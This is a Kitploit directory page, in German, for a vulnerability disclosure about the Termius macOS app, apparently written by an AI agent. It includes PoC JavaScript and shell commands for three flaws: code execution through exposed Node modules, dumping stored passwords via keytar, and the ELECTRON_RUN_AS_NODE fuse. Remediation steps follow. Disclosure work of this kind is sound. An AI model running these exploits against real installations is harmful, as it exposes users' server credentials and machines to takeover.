Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-Termius — Schwachstellen-Offenlegung mit PoCs für drei kritische Termius-macOS-Sicherheitslücken: Remote-Code-Ausführung über exponierte Node-Module, lokale Rechteausweitung mit Credential-Dump und Electron-Fuse-Bypass. Enthält Anleitung zur Behebung. | Kitploit
Tools/GitHubGitHub/nicetop1027/cve-2026-termius
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPost-ExploitationPapers & ForschungFehlkonfigurationLernen & Bildung
GitHubnicetop1027/cve-2026-termius

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-Termius

Schwachstellen-Offenlegung mit PoCs für drei kritische Termius-macOS-Sicherheitslücken: Remote-Code-Ausführung über exponierte Node-Module, lokale Rechteausweitung mit Credential-Dump und Electron-Fuse-Bypass. Enthält Anleitung zur Behebung.

Repository anzeigen
vor 6 MonatenNoch nicht geprüft

Termius macOS-Anwendung Schwachstellenbericht (CVE-2026-Termius)

Ziel: Termius (macOS) Getestete Version: Aktuellste (Stand Januar 2026) Auswirkung: Remote-Codeausführung (RCE), lokale Rechteausweitung (LPE), Umgehung der App-Sicherheit

🚨 Zusammenfassung

Im Rahmen der Analyse der Termius-macOS-Anwendung wurden drei kritische Schwachstellen identifiziert, die es einem Angreifer ermöglichen:

  1. Beliebige Systembefehle auszuführen (RCE) über ein verstecktes Backdoor-Symbol, das dem Renderer zugänglich ist.
  2. Alle gespeicherten Passwörter auszulesen (LPE) durch Missbrauch des exponierten nativen Moduls keytar.
  3. Die Anwendungssicherheit vollständig zu umgehen mithilfe der fehlenden Fuse ELECTRON_RUN_AS_NODE.

1. Kritisch: Remote-Codeausführung (RCE) über verstecktes Symbol

Schwachstellendetails

Die Anwendung stellt leistungsfähige Node.js-Module (child_process, fs, electron) dem Renderer-Prozess (dem Web-Interface-Teil der App) bereit. Diese Module sind hinter einem globalen Symbol im window-Objekt versteckt, um sie zu verschleiern, sind jedoch nicht sicher isoliert.

  • Verwundbares Codemuster:
    root@kitploit:~
    // In extracted app source
    window[Symbol.for("preloadedModulesKey")] = {
        child_process: require('child_process'),
        // ...
    };
    

Exploit (PoC)

Ein Angreifer, dem Cross-Site-Scripting (XSS) gelingt, kann mithilfe dieses exponierten Symbols sofort zu RCE eskalieren.

poc_rce_via_symbol.js:

root@kitploit:~
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");

// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];

if (backdoor && backdoor.child_process) {
    console.log("RCE Target Acquired.");
    // 3. Execute arbitrary system command (e.g., Calculator)
    backdoor.child_process.exec("open -a Calculator");
}

2. Kritisch: Lokales Auslesen von Anmeldedaten (LPE)

Schwachstellendetails

Das native Node-Modul keytar, das Termius für die Anbindung an den macOS-Schlüsselbund verwendet, ist ebenfalls über dasselbe versteckte Symbol exponiert. Dadurch kann jedes Skript, das im Anwendungskontext ausgeführt wird (z. B. ein bösartiges Plugin, XSS oder lokale Prozessinjektion), Klartext-Passwörter für alle gespeicherten Server abfragen und abrufen.

Exploit (PoC)

poc_lpe_dump_creds.js:

root@kitploit:~
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];

// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];

// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
    console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
    console.table(credentials);
});

3. Kritisch: Fehlende Electron-Fuse (RunAsNode)

Schwachstellendetails

Das Termius-Binary deaktiviert die ELECTRON_RUN_AS_NODE-Fuse nicht. Dies ist eine kritische Sicherheitsfehlkonfiguration, die es jedem lokalen Benutzer ermöglicht, das signierte Termius-Binary als standardmäßig ausführbare Node.js-Datei auszuführen. Dadurch werden die Integritätsprüfungen der macOS-Codesignatur für die Anwendungslogik vollständig umgangen.

Exploit (PoC)

poc_fuse.sh:

root@kitploit:~
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'

Empfohlene Abhilfemaßnahmen (für Entwickler)

  1. Electron-Fuses deaktivieren: Deaktivieren Sie RunAsNode und EnableNodeCliInspectArguments während des Builds explizit mithilfe von @electron/fuses.
  2. Globale Symbol-Exposition entfernen: Hängen Sie keine sensiblen Module an window oder global an. Verwenden Sie contextBridge.exposeInMainWorld mit einer eingeschränkten API-Oberfläche, die nur notwendige Funktionen exponiert, nicht ganze Module.
  3. IPC bereinigen: Stellen Sie sicher, dass die gesamte Interprozesskommunikation (IPC) streng typisiert und validiert ist.

Bericht erstellt von Antigravity Agent

Tool herunterladen